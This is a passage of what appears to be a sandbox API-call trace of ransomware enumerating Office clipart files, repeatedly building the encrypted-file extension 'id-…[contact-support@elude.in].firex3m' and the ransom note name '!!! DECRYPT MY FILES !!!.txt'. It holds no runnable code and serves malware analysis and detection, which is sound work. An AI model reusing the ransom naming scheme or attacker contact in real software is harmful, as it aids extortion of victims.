!!!.txt") returned 0x1c [0137.760] GetProcessHeap () returned 0x630000 [0137.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x330) returned 0x69ec20 [0137.760] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0137.760] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 1 [0137.760] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf") returned 0x44 [0137.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.761] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.761] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.761] GetProcessHeap () returned 0x630000 [0137.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x334) returned 0x69ec20 [0137.761] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0137.761] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 1 [0137.761] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf") returned 0x44 [0137.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.761] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.761] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.762] GetProcessHeap () returned 0x630000 [0137.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x338) returned 0x69ec20 [0137.762] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc7b993, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0137.762] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 1 [0137.762] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf") returned 0x44 [0137.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.762] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.762] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.762] GetProcessHeap () returned 0x630000 [0137.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x33c) returned 0x69ec20 [0137.762] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0137.763] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 1 [0137.763] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf") returned 0x44 [0137.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.763] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.763] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.763] GetProcessHeap () returned 0x630000 [0137.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x340) returned 0x69ec20 [0137.763] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0137.763] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 1 [0137.763] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf") returned 0x44 [0137.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.763] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.763] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.764] GetProcessHeap () returned 0x630000 [0137.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x344) returned 0x69ec20 [0137.764] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0137.764] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 1 [0137.764] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf") returned 0x44 [0137.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.764] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.764] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.764] GetProcessHeap () returned 0x630000 [0137.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x348) returned 0x69ec20 [0137.764] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0137.765] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 1 [0137.765] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf") returned 0x44 [0137.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.765] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.765] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.765] GetProcessHeap () returned 0x630000 [0137.765] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x34c) returned 0x69ec20 [0137.765] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0137.765] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 1 [0137.765] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf") returned 0x44 [0137.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.766] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.766] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.766] GetProcessHeap () returned 0x630000 [0137.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x350) returned 0x69ec20 [0137.766] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0137.766] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 1 [0137.766] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf") returned 0x44 [0137.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.766] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.766] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.766] GetProcessHeap () returned 0x630000 [0137.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x354) returned 0x69ec20 [0137.766] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0137.768] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 1 [0137.768] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf") returned 0x44 [0137.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.768] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.768] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.768] GetProcessHeap () returned 0x630000 [0137.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x354) returned 0x69ec20 [0137.769] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0137.769] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 1 [0137.769] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf") returned 0x44 [0137.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.769] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.769] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.769] GetProcessHeap () returned 0x630000 [0137.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x358) returned 0x69ec20 [0137.769] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0137.769] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 1 [0137.769] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf") returned 0x44 [0137.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.770] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.770] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.770] GetProcessHeap () returned 0x630000 [0137.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x35c) returned 0x6ed6538 [0137.770] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", 